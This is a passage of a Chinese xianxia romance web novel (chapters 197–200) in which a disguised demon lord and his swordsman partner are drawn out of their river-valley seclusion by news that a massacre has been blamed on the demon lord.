……只比这人矮半个头了,未来可期! 本尊一定还能长!!屠天霸笑得见牙不见眼,兴致盎然地将桌椅搬到屋外,拉着男人到外头晒太阳,顺道准备起了饭菜。 聂无洄跟着打下手。 这也不是头一回了,因此他动作还算熟练。在河谷隐居的时日中,聂无洄发现了一件事——少年的手艺其实很不错,红糖炖灵兽蛋汤鲜美可口,不似自己第一次品尝的灵兽烤肉,咸得过分。 当时,他选择直接问出了声, “小修,你的五感是不是出了问题?”屠天霸回答得也很坦荡,“是啊,我不太能尝得出味道,所以下手随便了点,再加上那时候我其实没有很喜欢你嘛……”他顿了顿,强调道:“我现在不会让你吃咸肉了!”聂无洄忽然卸了说话的力道,只想抱抱他,对他好些,更好些。眨眼间,三年时光飞逝。两人大多时间在双修,休憩期间,他们如寻常夫妻般生活在一处,举止日渐亲密无间,言语亲昵。日光愈发透然。春潮来临,裹着碎冰的河水撞上长满青苔的石壁,迸溅的水珠绽出无数虹桥,惊醒了刚刚结束冬眠的翠鳞蛇。小木桌上摆了两双碗筷。屠天霸的心情飘飘然,一手举碗,一手提筷。他先给桌对面的男人夹了一筷子烤山菌,然后将碗递了过去……见男人也给他夹了好几筷子,还面上带笑地凝视着自己,屠天霸觉得如今的日子真是快活似神仙,夸奖道:“你可真贤惠。” 不知道是不是心情愉悦导致的错觉,屠天霸咀嚼着山菌,似乎尝到了一股清甜可口的香气,混合着油脂,不由得感叹了一句, "……真香。" “不过,还是我更香一点。” 话音刚落。 屠天霸脸上的笑意忽然收敛起来,眸光冷冽,他抬头望向天穹,感应到自己设下的几重法阵——破碎——“砰!” 一个人影从高空坠落,摔在河水里,溅起了无数水珠。 屠天霸怀疑这人是那什么顾宸,杀心渐起,连忙起身向他走去,准备将人先一步杀死,再告诉自家道侣, 呜呼。 那人运气不好,摔死了。 不料他刚一走近,倒在水中的那位不速之客便咳嗽了好几声,轻声叹道:“这么重的杀气,真是……” “哗啦。” 屠天霸眨了眨眼,瞧着那人明明身受重伤,却还是翻身而起,露出了一张有点熟悉又有点陌生的脸。 屠天霸:“!” 想起来了。 于是他皱了皱眉,很不爽地道了声, “怎么是你这个陈年老断袖啊?” 197、Chapter 197 ... 认出旧相识的人,不止屠天霸一个。 徐阙与他隔河相望,一眼就认出了不远处的玄衣少年是何人——三年前参加过仙门大比的一位医道散修,自称屠医修…… 事实如何,徐阙认为还有待商榷。然而,就算他想要追究,也无从下手。 因为那场医门比试未能成功进行,试炼开始之前便有魔修作乱,将一众医修弟子掳走。 好在最后有惊无险。 所有弟子被寻到的时候都安然无恙,只是陷入了昏迷,不省人事,其中一位弟子还被五花大绑。 唯独参赛的散修少年不见了踪影。 符悦声是第一个醒来的,醒来后他便交代了遇险后的一切,包括妙仙宗内门出了叛徒一事。 当时只有妙仙宗宗主、门内长老、以及徐阙这个与妙仙宗交情甚笃的万法宗门人在场。 听完前因后果,众人陷入沉默。 符悦声的表情也黯淡,不禁自责低语, “抱歉,宋师兄乱了道心,跟魔修勾结一事……或许我要负一定的责任,就是事发突然,不知那几个魔修打什么主意,听他们的交谈,这背后似乎有更大的阴谋……” 随即,符悦声被接连问了几个问题,其中,还涉及那位不知所踪的玄衣少年。 或许是看出了座上诸位长辈对少年的疑虑,符悦声连忙解释道:“虽然屠道友看上去奇奇怪怪,但他并没有做什么坏事!” 说完,他又补充了一句, “当时是他趁三位魔修内讧,带我们逃离危险,也是他看破了宋师兄的隐瞒,不知他如今是否安好……” 此时此刻,河谷中。 徐阙捂着伤处,警惕地注视着少年,眼尖地发现他颈侧的暧昧痕迹,以及他手上的碗筷,陷入无言。 何止是安好。 有吃有喝,好像还长高了。 还有,他口中的陈年老断袖是自己? 徐阙无语极了,却没有放下一丝警惕。 他没有忘记刚才少年对自己释放出的冰冷杀意,当时他倒在水中,压根没有露出正脸,少年第一时间便要杀人…… 一个寻常医修,怎么会如此行事? 诸多思绪,在一瞬间闪过。 徐阙与少年四目相对,彼此都很防备。 只是当他的余光擦过少年,恍然瞥见对方身后还有一人的时候,徐阙还是恍神了。 他甚至愣了一会儿。 少年的身后,男人坐在木椅上,同样手持碗筷,他一身白衣胜雪,腰背挺直,仪态端正得好似正在参加宗门盛典,而不是在这野外河谷,露天饮食。徐阙瞳孔骤缩,面露惊讶。 ……无洄仙君??徐阙如今八百余岁,在他年幼时,聂无洄已经是响彻正邪两道的仙君了,正道门人敬他,魔道中人畏他。若不是徐阙没有剑修天赋,他也想做个除魔卫道的剑修。 后来,他拜入万法宗门下,凭借自身对法阵的天赋成为内门弟子,曾在五百年前跟无洄仙君有过一面之缘。 ——清正自持,执剑护道。 这是他亲眼见到无洄仙君后,产生的第一印象,此后数百年从未更改。 然而,现如今…… 徐阙的目光飞快扫过男人的脖颈处,瞥见了一大片比少年还要夸张,还要繁密的吻咬痕迹。 男人的黑发半束着,垂在身后,不知被谁编了数条细长的小辫子,上面还插满了甲盖般大小的野花,春意悠闲。 徐阙张了张嘴:“?” 正当时,他忽然听到了男人的传音, “万法宗,徐阙小友?” “………请你装作不认识我,多谢。” 见徐阙闭上了嘴巴,聂无洄暗暗叹了一口气,当初他本不想欺骗少年,一瞒三年也只是权宜之计,想着日后再缓缓托出。 可徐阙出现得太突然了。 他跟少年双修已有三年,如今才初见成效,想要化解他体内的所有魔物怨气,至少要五十年,或百年……聂无洄曾读过少年的记忆,知道他在天雷劫时神智混乱不清,误以为自己对他下了杀招,始终对 聂无洄’心怀芥蒂,成天在自己耳边念叨,“你要永远做我的阿洄,对我好。” 况且,少年近日的状态有些不对劲。不知为何,他的精神有些紧绷,这一情绪带到了双修上面,那些让聂无洄听着害臊的怪话都少了许多。聂无洄暗中留意,想着等少年体内的魔物怨气再减少一些,神智清明,从而找回那段时间的记忆,再与他坦诚。就算要他此刻坦白,聂无洄也不想由外人叫破自己的身份,而是自己亲自跟少年细细说明,解除个中误会。 所以,他才希望徐阙装作不认识自己。 尽管他修为仅恢复到元婴期,但他本身境界不低,跟少年相差无几,因此他暗中跟徐阙传音也不会露馅。 聂无洄为此感到庆幸。 “…” 在场三个人,心中各有沟壑。 屠天霸眯了眯眼,杀心仍未消,突然听到身后男人唤自己,“小修………” 屠天霸没回头,微微侧过身,以示自己听见了。 聂无洄继续道:“我觉得这位道友的声音很耳熟,三年前你带我去过妙仙宗,莫不是那时与我们二人有一面之缘?” “不如请他过来坐,顺便看看伤吧?” 徐阙听着印象中的清冷剑仙用一种很温柔的语气冲少年说话,嗓音还带着几分暧昧的哑,沉默了,“……” 啊这。 什么情况? 屠天霸听到这话,满脸不情愿。 他恨不得一筷子戳死这个不长眼的老男人,又怎么愿意在这人身上浪费自己的灵药呢? 晦气,真是晦气! 这老断袖掉哪里不好?非要掉在他的小河谷里!掉就掉吧,还没有彻底摔死! 贼老天真是不长眼啊! 然而,心中暗骂的同时,屠天霸忍不住松了一口气。……还好,他的阿洄没有恢复记忆。其实屠天霸手里有不少作用于神魂的邪道心法,能控制男人永世无法恢复记忆,彻底让自己安心。只是这种邪门法术极有可能对男人产生某种不可逆的伤害,屠天霸纠结再三,还是放弃了。反正他们俩隐居在此,见不到外人。 “……” 屠天霸瞪着这个从天而降的外人,不情不愿地邀请他过来坐下,然后很热心地替他看了一眼伤—— 真的只有飞快的一眼。 紧接着,屠天霸看看天,看看地,眼珠子乱转的同时,语气遗憾地道了声, “伤太重,没得救了,可能待会儿莫名其妙就自己死掉了吧。” 徐阙忍不住为自己发声,“其实我觉得还行,一时半会儿死不了,打扰了,我待会儿就走……” 见此情景,聂无洄露出一抹尴尬而不失礼貌的微笑,偷偷扯了扯屠天霸的衣袖,并用少年三年前送给自己的法器传讯道: “别置气,送他走就是了。” 说完,他还轻轻勾了一下少年的手指。 屠天霸的表情一松,大咧咧地握住男人的手摸了摸,然后掏出一瓶回灵丹,放在男人面前,贴心道: “这能让你走得更快些。” 徐阙的视线从两人交握在一起的手,逐渐移到少年捏着药瓶的手,尴尬微笑:“多谢了,我尽量。” 这个‘走’,它正常吗? 尽管徐阙如此腹诽,但在发现无洄仙君跟少年的…关系后,他已然放下了对少年的戒备,更多的是震惊。 很快,震惊被他压下来。 徐阙收下药瓶,见少年完全将自己视作空气,亲亲热热地跟无洄仙君坐在一条木凳上,还给他夹了好几筷子菜…… 他忍不住吸了一口气,随即对男人传音入密道:“无洄仙君,听你方才的话,三年前你也随这位小兄弟去过妙仙宗,当时你是否察觉了魔修的异动?” 他的语气很严肃。 只是不等男人回话,徐阙就见少年将筷子往桌上一拍,冲自己怒目圆睁道:“你偷偷摸摸跟我道侣说什么呢?就知道你不是什么好人,真想不治而亡?!”徐阙心下大惊。 因为只有境界更高的修士才能感应到他人是否在自己身边传音,若是修为差距极大,还能听到传音内容。 放眼整个修仙界,徐阙的境界绝对不算低,而少年的修为必然在自己之上! 聂无洄:“……” 他默默将屠天霸拍桌的手拽下来,用自己的双手拢住,同时对徐阙淡定道:“道友想问什么,不妨直说。” 徐阙:“………好的。” 屠天霸的目光如针,狠狠刺在徐阙的脸上,还抬起另一只手,伸出两根手指,先是指了指自己的眼睛,随即又指向徐阙,仿佛在说‘我盯着你呢’。 徐阙:“………” 徐阙深吸了一口气,从头说起。 三年前,魔修果真在仙门大比上下了黑手,索性妙仙宗弟子无一伤亡,可作恶的瘟菩萨和解尸郎君却双双殒命了。 妙仙宗弟子不知内情。 当日,荒境中还有一个名为金柳衣的女魔修,归属于戮天宗门下。她倒是还活着。 可这人擅长藏匿,行踪莫测,更加不会跟妙仙宗交代当日详细经过,以及魔道有何阴谋。 妙仙宗思虑再三,与其他门派商讨了一番,最终决定开启妙仙宗的护山大阵,如期进行那场仙门大比。 说到这里,徐阙略一停顿, “当年仙门大比的第一位,乃是归清门的首席弟子,顾宸。” 听到这个名字,屠天霸的脸垮下来,很想用桌上的筷子把对面那个老男人的嘴巴戳烂。 但他忍住了。 他瞥了眼男人的侧颜,发现对方正凝视着自己,见他看过来,还露出一抹带有安抚性质的微笑。 这个漂亮贤惠的道侣是不会有错的。 屠天霸转回头,冷冷地盯着老男人。 徐阙:……”怎么了?他说错什么了吗?为什么少年的杀意比刚才更重了! 徐阙沉默片刻,继续说:“三年间,虽然魔修没什么大动作,但各门各派都有年轻的弟子陆续堕入魔道,数量让人心惊,其中肯定有古怪……”“可众门派始终查不出个所以然来。” “直至半个月前,玄虚派在一夕之间被魔修灭了门,归清门与万法宗都派人前去查探过……” 玄虚派不是大宗门,历史却也悠久。 万法宗派出的人正是徐阙。 数日前,他到了玄虚派的地界,看到整个宗门被屠戮殆尽的惨烈景象,数千名修士死无全尸,血肉皆无,只剩下一具残破的骨架。不仅是玄虚派的修者,连飞鸟走兽,林木花草都无法幸免,只有阴冷的魔息附着在焦黑的土地上…… 徐阙神色凝重,长呼出一口气。 就在那时。 森森枯骨之下传出了微弱的声响。 徐阙上前查探,发现是被玄虚派众多弟子护住的一名少女,对方是玄虚派近几十年最有天赋的弟子,被寄予厚望。 少女的裙袍沾满了门人的血液,被徐阙救出来的时候,整个人都是呆呆傻傻的,双眼无神空荡…… 她呆坐许久,环视一圈周遭的惨状,忽然嚎啕大哭,仿佛肝肠寸断。 徐阙就是在这个档口被暗算的。 屠天霸听到这句,冷哼一声, “一大把年纪了,怎么这么……” 废物。 话没说完,一只手掌捂住了他的嘴。 屠天霸眨了眨眼,伸出舌尖,一下下地舔舐着男人的掌心,节奏分明,似乎透出了另一种深意。 聂无洄:"……" 徐阙:…….” 两人交换了一个眼神。 徐阙看似平静,心中却愕然,因为他看出少年对这桩灭门惨事全然不在乎,没有一丝丝的怜悯之心。 聂无洄自然也看出来了,更明白徐阙的疑惑与错愕,可他无法责怪少年什么…… ——说一千道一万,少年也从未获得过他人的怜悯与善意,又怎么去怜悯别人呢? 但是,从今往后,他会教导他向善。早在三年前,聂无洄就下定了决心。徐阙沉默片刻,略过了这个小插曲,继续往下说。原来那名玄虚派女弟子并非幸存者,而是堕了魔的弟子。她用高阶法器暗算徐阙,并大笑说,是自己灭了玄虚派满门,心中无比畅快。徐阙问她缘由。 那女弟子冷笑一声,道:“说什么正道门派,还不是脏污纳垢?要我看,比魔修还不如,不如杀光了,还天地一个清静!” 但以她的修为,绝不可能独自行事。 不料那女弟子听到徐阙问话,神情忽然变得得意激动,语气里充满崇敬, “自然是尊上助我!” 徐阙又问她,哪个尊上? 她说, “——还有哪个人能被称之为尊上?” “自然是戮天宗魔尊,屠天霸!” 198、Chapter 198 .. 屠天霸”三个字一出,聂无洄顿时变了脸色。 徐阙不知内情,只以为他为魔修动辄灭门的残忍做派而蹙眉,又想起这位无洄仙君闭关三百年,说不定不知屠天霸为何人,连忙补充道: “此人是近三百年崛起的修士,性情乖僻嗜杀,功力深不可测,一身肃杀魔气从来不遮掩………” 聂无洄越听,眉头皱得越紧。 他没急着反驳,或是辩解什么,而是第一时间扭头去看身边的少年,却见对方神态自若地把玩着他的手指,仿佛什么都没有听到。 注意到自己落在他身上的视线后,少年的表情更加云淡风轻,桌下的那只手却握成拳,徒留一根食指,在聂无洄的掌心里戳来戳去。 聂无洄:“……. 聂无洄飞快地瞥了眼桌面对的徐阙,尽管对方一无所知,他心中还是生出了一股淡淡的不自然。 私下就算了,人前怎么还闹妖? 况且,这人难道没听见方才徐阙所说的名字吗?分明是有人作恶,却将罪行全然推到他身上…… 屠天霸一点儿没消停,还翻过腕子,将食指与中指并拢,一道放入男人的掌中,宛如在黑暗中摸索某样宝藏一般,在他的掌中按来按去。 倏然间,聂无洄感到掌中心被少年重重一按,他莫名干咽了一下,呼吸也停滞,脑中闪过三年间的许多画面…… 聂无洄真的很无奈。 他持之以行地督促少年双修,尽管这人身体力行地配合着,嘴上却时常抱怨。 说来也奇怪。 两人分明已经亲近到了极致,但他尤其喜欢在非双修的时刻做些……让人有些难以启齿的小动作。 聂无洄也曾教导过他,不可如此。 只是少年每每点头答应,下次仍旧胡作非为,毫不掩饰地将说一套做一套放在了明面上,一副天性难改的模样。 聂无洄忍了忍,实在没忍住,反手在少年作乱的手背上拍了一下。 随即,他深吸一口气,使用通讯法器严肃道:“………你先别闹了,如今徐道友在说很要紧的事情,消停点。” 屠天霸瞥了一眼被拍红的手背,板着脸坐直了,忽又感到男人的大拇指在自己手背上轻轻摩挲了两下,下撇的唇角飞快翘起一个弧度,稍纵即逝。消停了。 就是有点无聊。 毕竟他对正邪两道发生了什么事情毫无兴趣,只想这个废话连篇的老男人赶紧离开他的小河谷,继续跟道侣隐居双修。 多是一件美事啊。 沉默了数月的某个心魔忽然开口,那道质感特殊的声音语调起伏,“卧槽!宿主你先别骚了….!这是大事啊!”"原著小说里压根没有这一趴,况且现实情况就是——宿主勤勤恳恳双修,哪有空去灭门玄虚派啊!是谁在陷害宿主?!"屠天霸满不在乎地应道: “对啊,我哪来的闲工夫。”说完,他补充了一句,“欸?原来你还在呀?”与男人双修三年,屠天霸耳边的杀戮之音消退了许多,整个人可谓是神清气爽。机智心魔所说的任务奖励对他的诱惑力日渐减退,反而让屠天霸愈加抗拒男人恢复记忆,不想完成任务。机智心魔询问了几次,得到屠天霸的笃定回答之后,说了点不吉利的话, 几息后。力道很轻。就在这时。 “好吧,但根据本系统的经验之谈,主角恢复记忆这种主线剧情点,几乎可以称之为‘命运’或是‘天意''。” “有句话怎么说来着?” “………天意不可违嘛。” 说完,袍就沉默下来,很少在屠天霸耳边呱唧呱唧了。 屠天霸沉迷双修,压根没想起袍来。 系统空间内。 常年被马赛克屏蔽的白色光球蹲在光屏前,盯着宿主那张淡定的小圆脸——没以前那么圆了,奶呼呼的腮消了下去,使得五官更加清晰明朗,眸光透亮……N001盯了一会儿,很奇怪地问了句, “宿主,你怎么不生气啊?这个徐阙之前在传播你的谣言,现在又说你的坏话,按理说,你不是应该磨刀霍霍了吗?”而不是像现在这样,忙着耍流氓,仿佛完全没有把被陷害一事放在心上。挨了打,但是被男人哄高兴的屠天霸啊了一声,应道:“但我现在是屠医修啊,跟我有什么关系?”老实说,换成以前,他必定勃然大怒。只是如今屠天霸的耳边清静许多,身边还有温柔漂亮的道侣陪伴,对方也没有恢复记忆的迹象。这不是皆大欢喜吗?白色光球沉默片刻,发现癫子宿主对屠天霸这个身份毫无归属感,反而对‘好色小医修’这个人设愈发欲罢不能……他是真不想做任务,不想杀青。也是真的不在乎‘屠天霸’这个人。如果白色光球的脑袋上有灯,大概已经哔呜哔呜地闪起了红光,刺耳地叫嚣着‘任务——大危机——要是任务失败,就没有积分,系统还会被自动传送回时空书局,那袍真的要凉了。 三年之期已到,变数就在眼前。 怎么能够停滞不前! N001想了想这三年间自己被屏蔽的总时长,觉得宿主跟主角怎么也该培养出几分真感情了,当即下定决心—— 是时候推动最后一个任务的进度条了! 于是,N001用抑扬顿挫的语气,企图唤醒癫公宿主的愤怒, “宿主,可你不是真正的快乐,屠医修只是你的保护色!屠天霸就是你,你就是屠天霸,现在有人以宿主的名义搞事,宿主即将陷入众叛亲离,举世皆敌的困境,快为自己做点什么吧.…!”屠天霸:“?” 这心魔是不是憋疯了? 他很奇怪地反问道:“我以前当魔尊的时候,不就是众叛亲离,举世皆敌吗?” 哦,还真算不上。 他好像达不到‘众叛亲离’的条件。 毕竟那些魔修皆因私欲与利益聚集在他身边,从来没有过效忠,那么背叛又从何谈起呢? 整个戮天宗,上到他这个魔尊,下到一众魔修,没有一个人将它当做一回事。 屠天霸本人只是将它看作一个叫着好听的小玩具,大部分时间都是抛在脑后的。 那些魔修也不敢打着他或是戮天宗的名号行事,毕竟很少有人会不怕死。 ——屠天霸的巴掌会教他做人。 指转世投胎,重新做人。 至于亲人,他又没有。 屠天霸自觉聪慧,算了一笔账,“心魔就是愚钝,我还是屠天霸的时候,整日为炼魂鼎内的魔音烦恼,周遭皆是各有心思的魔修,正道也容不下我……” 还有一点是,屠天霸是迫于无奈才成为魔修的,若是追溯本源,他当年甚至不是自愿走上修仙道路的,且还是遭受魔修磋磨的众生之一。正因如此,他不喜欢魔修,看不惯魔修将凡人看作草芥随意决定生死的蔑视态度。说起来,死在屠天霸手下的魔修数量不比那些正道修士除魔卫道来得少。而最后的结果就是,屠天霸’无法当一个纯正的魔修,也无法被正道接纳,说是举世皆敌也不为过。可‘屠医修’就不一样了。——他有一个对自己很好的道侣,不厌其烦地同他说话,哪怕生气了,拍他手背当做教训,也只用很轻的力道。——他不再为魔气困扰,尽管心魔音仍在耳边说着些怨气冲天的废话,却也不是那么难以忍受了。 —托双修的福,他还长高了呢!假以时日,必定能长成一个威风凛凛的猛汉子!——对了,还有个正道修士请他吃过蕴含灵气的吃食,遇到危险时,还冲他伸出救援之手。 生气了?下一瞬。话音刚落。 屠天霸一条条地细数着,发现这一切都是因为身边多了个阿洄。 阿洄对屠医修好。 聂无洄却想杀屠天霸。 而他在当了三年‘屠医修’之后,已经不知道该怎么继续做‘屠天霸”了….他回不去,也不想回去。会疯掉的。或许会想要毁掉这个世界。然而,就在这时候。屠天霸忽然感到指间传来一阵很微弱的痛感,严格来说,并不是痛,而是酥酥麻麻的挤压感,很沉重。他低头看过去。男人正攥着自己的手,许是情绪有些失控,掌下的力道也失了控,手背的青筋微微鼓起,指节泛白。屠天霸不太明白。他仰起脸,扭头去看男人的侧脸。桌对面那个人老人味真的很重,还在絮絮叨叨地说着玄虚派灭门一事,说他捉拿了那名女弟子,对方却想要玉石俱焚,自爆而亡等等不重要的事情……老男人还提到, 他受了伤,本想返回宗门从长计议,途中遭到几个魔修的偷袭,与其打斗了数个时辰,最后掉落在此处。那几个魔修,所属戮天宗门下。 "……"屠天霸听着挺没趣的。可他盯着男人的侧颜,发现那条被自己啃吻过无数遍的下颌线很紧绷,男人的唇线紧抿,眸光冷冽极了。像是有剑从里头飞出来。 为什么生气了? 男人仿佛意识到了什么,手下力道猛地一松,语气平稳地冲桌对面的人道:“徐道友,先失陪一会儿。” 他起身,牵着屠天霸回到小木屋中。 屠天霸懒洋洋地被他拉进去,就见男人抬手设了个屏障,然后转身面向自己,表情格外严肃,还缓缓吐出一口气。 仿佛有什么天大的事情要交代。 屠天霸莫名升起一股不太好的预感,见男人已经张开嘴,连忙叫停,却也挡不住对方的声音往自己耳朵里钻… 他说,“小修,有人冤枉你。”“我们不能坐视不管。”嗡的一下。屠天霸只觉得一片空白,连心魔音都听不见了,只剩一句话在脑中不停回荡, ——他想起来了,我该怎么办? 199、chapter 199 电光火石之间一 屠天霸做出了最本真的反应。 他眼巴巴地笑了一声,表情无辜地反问道:“我只是个普普通通的小医修,怎么会有人冤枉我蛊惑正道修士,灭人门派呢? ''而且也没人诬陷我啊,那个老断袖说的是魔尊屠天霸,跟我没有一丁点关系! 在这要紧时刻,屠天霸的神情真挚且笃定,一双乌黑眼眸也没有乱转,而是定定地盯着男人看,看上去一点也不心虚.系统空间内。白色光球默默感慨:“嚯,宿主真的成长了,三年修炼没有白费。小木屋中。聂无洄听着少年下意识的否认之词,心中五味杂陈,只想将他搂进怀里拍背,奈何徐阙所说的情况严峻.….容不得他循序渐进了。"是我骗了你。于是,他与屠天霸四目相对,手里牵着少年的腕子不放,大拇指轻缓地摩挲,同时轻声道:聂无洄想说自己早在三年前就恢复了记忆,怕刺激了他,才隐而不言。尽管在天雷劫下,他不曾与少年经历生死争斗,但对方因自己的一句话而陷入神魂动荡,却是不争的事实聂无洄于心有愧。听到''骗’这个字,屠天霸的表情有一瞬间的扭曲,见男人似乎又要说些什么,他连忙打断道:屠天霸险些咬到自己的舌头,他想起书中所写的情节——不速之客的出现,导致男人恢复记忆,虽然来人的身份变换了,可其他情节却-一对照这岂非就是天意?屠天霸气得快要跳起来,心中暗恨:果然他就该第一时间用筷子戳死那个老断袖他越想越恼,不愿听男人想说一-而自己绝对不想听的某些话,纠结两息,还是挣脱了男人的手,用双掌堵住自己的耳朵“你不许再说了,我现在很生气!!"聂无洄在决心坦诚的那一刻,心里就有所准备,但在被屠天霸甩开手的那一刻,他还是愣了一下。屠天霸捂住耳朵,可心魔音却昂扬了起来,在他耳边嘲讽冷笑,气得他恨不得多生十双八双手,让这些晦气心魔排队挨抽木屋狭窄。他像热锅蚂蚁似的转了两圈,忍不住回头看了眼男人,见对方的视线始终紧跟着自己,神情透出几分空落。倏然间,屠天霸有点心疼。他皱着眉,压抑着汹涌的心头火,以及莫名其妙的畏意,动作熟练地揽着男人的腰坐到床边,语气强势“你乖乖的,我去把那个老男人丢得远远的,就当他今天从来没有出现过,我们还是跟以前一样屠天霸觉得自己的态度已经很明显了然而,在他起身往外走的瞬间,男人忽然开口道:“你就这么厌恶聂无洄’?"语调平缓,听不出太多情绪。屠天霸却猛地停下步子。霎时间,他脑中闪过三年间两人温存的画面,男人望向自己的眸光宛如一片海,叫他沉沉浮浮,晕乎极了屠天霸犹豫许久,最终还是收回了推门的手他的脚尖在地上磨蹭了好一会儿,才面无表情地坐回男人身边,…这让他怎么走啊!语气听起来那么可怜,他怀疑自己一旦出了这扇门,这人就得偷摸掉眼泪!屋中寂静半晌。还是聂无洄率先开了口“你为我炼化丹胎那日,我不仅看到了你的记忆,也恢复了自己的记忆.……其实天雷劫那天,我并不是去杀你的,也不曾使剑砍你,你听我慢慢解释,可好?"话音刚落屠天霸顿时恼红了脸。 “你没有骗我,你也没有恢复记忆,你你你.!" 他不可置信地扭头看向男人,忽然想起了什么,神情又是一变 三年间,男人信守承诺, 他在督促屠天霸认真双修的同时,也会让屠天霸满足,放肆撒泼,而屠天霸在看完书册新篇章之后,疑神疑鬼了好一段时间,时常将自己被解了绑的伙计递到男人面前,追问他“难道你不喜欢它吗?我不信!"“你发誓,你绝对不会伤害它!" 屠天霸逼问许久,才得到了男人切确的答案。 昏暗中,男人的唇殷红湿润,咳嗽声从喉咙里呛出来,嗓音沙哑,一声声地冲他说着''喜欢’ ''爱护'' 屠天霸每次想起来,都浑身热。 这次也不例外。 想到男人方才说的话- 原来在这三年间,在这张床上露出失魂落情态的男人是传说中那位清冷正直的剑仙,屠天霸下章识低头看了一眼 还好。 没有烧起来,也没有爆掉。 他维持着面无表情的模样,不动声色地撩起衣袍下摆散去几分热气,仍旧坚决否认道: “不,你没有恢复记忆。 "总之我先让那个谁滚蛋,其他话你也不必说了,”屠天霸纠结片刻,还是补充了一句, “我没有讨厌你,你别伤心… 下-瞬 在一片冷嘲热讽,笑话他心慈手软,如今还自欺欺人的心魔音中,屠天霸听到机智心魔吐出一串话 “宿主,你干嘛非要否认主角恢复记忆呀?要是他三年前就恢复了记忆,不就证明他确实是爱惨了你嘛? “你想想看,主角在千百年前可是一代天骄哦,如今更是整个修仙界都响当当的人物,却陪你在这河谷里过了三年夫妻恩爱日子,你细品,你往细了品! 屠天霸品了品,连忙打住。 …不能再想了,快爆了, 码归一码,屠天霸的身体热得很,心里却冷得够呛,“心魔就是思钝,就算他说天雷劫那天有误会,他无心杀我,我也不同他计较! 之后呢?" "聂无洄是正道第一人,他要为魔尊奔走,调查,旁人怎么看待?若是他得知屠天霸的旧事,心意转变了呢? 若是我做回魔尊屠天霸,横在我们二人之间的,是正邪两道的立场,我不想知道他最终怎么选! “本尊只想开开心心地过日子!" 紧接着,心魔应道: “说不定是宿主太悲观了,我看主角没有放弃你的意思哦,他还想拉你一起去探明真相欸? “再者说,主角的记忆已经恢复了,那宿主跟最后一个任务也不冲突了吧?你可以对他说说软话,让他陪你做场戏,还原一下任务场景嘛.….! "新身体马上到手哦! “系统可以帮忙宿主调整数据,让你变成身高体长的肌肉男!!" 屠天霸很恼火。 他在心里冷笑一声, “你这该死的心魔,只想着本尊完成任务,根本不懂得本尊此刻心中的惆怅!你满脑袋只有大胸脯大屁股是吗?俗气! 系统空间内。 白色光球: 白色光球小声逼逼:“谁还不懂了,我绝对比你更惆怅,不就是怕主角不选你,所以打算逃避嘛.…. 屠天霸没听到系统这句吐槽。 男人很久没吭声了 6 大好 +主 聂无洄自然没哭。 他思忖着屠天霸的态度。 尽管少年不愿听自己详细解释,但也没有不管不顾地离开,还耐心哄着着… 话里话外,竟是装作不知,继续做一对恩爱道侣的意思, 聂无洄陷入沉思, 他原先不敢坦白,主要是担心少年再度陷入天雷劫那天的迷怔当中。 如今少年嘴上不肯承认,或许心里已经接受, 思及此处,聂无洄顺着指尖的力道抬起脸,忍不住冲少年笑了笑,改口道: “你说得对,我没有恢复记忆。 闻言,屠天霸的手颤了颤。他的眸中闪过一丝茫然,以及隐藏得很深的不虞,但很快,萦绕在他心口处的复杂情绪被男人下一句话打消。聂无洄轻声说:“小修,我不认为魔尊屠天霸是徐道友,或是其他人口中描述的那般残暴弑杀他侧首,亲了亲屠天霸落在自己唇边的指尖,继续道:"我倒觉得,屠天霸心思纯净,他这数百年来,不过是渴求一片清静,又怎么会掀起正邪两道的争斗?我不希望有人冤枉了他,你陪我去查探一番,好不好?"瞬息之间,屠天霸耳边的心魔音静了下来,轻易被他压制下去,另一股火却怎么都压不下去。屠天霸情不自禁地上前一步,将男人按倒在床上,啃他的嘴,咬他的舌,轻声呢哺道:"…真奇怪,你这张嘴为什么总能说出我爱听的话?让我尝尝。尝了好一阵,屠天霸的手刚撩开男人的腰带,就被那人气喘吁吁地制止了,“徐道友还在外头等着,不可以。屠天霸想起那个晦气的老男人,重重地哼了一声!他慢吞吞地从男人身上爬起来,沉默地注视着这人整理头发,拢起松垮的衣襟与腰带那阵未消的火,一路上窜,烧到了他的心口。屠天霸不自觉地抬手摸了摸,又酥又麻,让他无所适从。恍惚间,他弯下腰,从床上捏起一朵从男人发间掉落的白色花苞,放到嘴巴里嚼了嚼。 苦 不对,甜丝丝的。 两人的距离很近。 聂无洄盯着少年近在咫尺的脸,那双稍显凌冽的杏眼带着极强的侵略性,目光始终落到自己身上, 他下意识地抿了抿唇,道了声, “别乱吃东西。 屠天霸习惯性地应了声, “你又不让我吃。 聂无洄: 他轻轻推了推少年的脸,起身坐到另一边,拉开了两人之间的距离。 屠天霸仍旧盯着他的侧影,问道: "你不是要走吗?我陪你。 聂无洄回头,视线下移: "再等等吧。 屠天霸:“哦,我不介意让他看。 聂无洄:"….我介意。 两人一站一坐,干巴巴地聊着天。 于是,徐阙在外头等了好一阵,才等到两人一前一后地出了小木屋,虽然发冠与衣衫整齐,但嘴巴都是红艳艳的。 徐阙: 不说, 国口 屠天霸的眼刀像是不要钱似的,齐刷刷往老男人身上扎,他挥挥手召出飞舟,同时扭脸问聂无洄 “一定要带上他吗?" 闻言,聂无洄冲徐阙尴尬一笑。 屠天霸:“啧!" 不多时。 三人共同乘坐在飞舟上,往被灭了门的玄虚派飞去。 200、Chapter 200 空中, 一艘飞舟疾行于白云间。 出发之前,屠天霸的视线宛如刀剑一般扎在徐阙身上,盯得他面上刺痛,还是聂无洄主动解释了一句 “徐道友,万法宗以法阵传承为立身之本,你又是其中佼佼者,这河谷 他话到一半,徐阙便心领神会 待他修补完方才被自己破坏的法阵,果然发现少年的眼神软和了两分。 徐阙违心地想着, 心中猜测颇多, 这位少年的身份绝不简单。 虽说徐阙是万法宗门人,但他与妙仙宗交情甚笃,再加上符悦声这个漏风棉袄,他手中的极品丹药不在少数 在无洄仙君领着少年进入木屋期间,徐阙倒出一粒少年随手塞过来的疗伤丹药,仔细检査了一番,发现丹药的品质极佳,不比妙仙宗的极品丹药差 能炼制出此等丹药的医修,不可能籍籍无名。 …就像是凭空冒出来的一般。 出于种种考量,徐阙没有服用少年给的丹药,而是将其收入乾坤袋中。 此时此刻。 望着眼前的景象,徐阙陷入沉默 舟内,他独自坐在一侧,同行的两人坐在另一侧,中间还架了一方长桌,明显是想要将他隔离开来,。 能够做出此事的人,不言而喻。 屠天霸很勉强地无视了对面的晦气老男人,从袖中掏出了数碟点心放在桌上,然后靠在阿洄身侧,一口一个点心,吃得面无表情。 很快,聂无洄打破了沉默。 "徐道友,能否详细与我讲讲 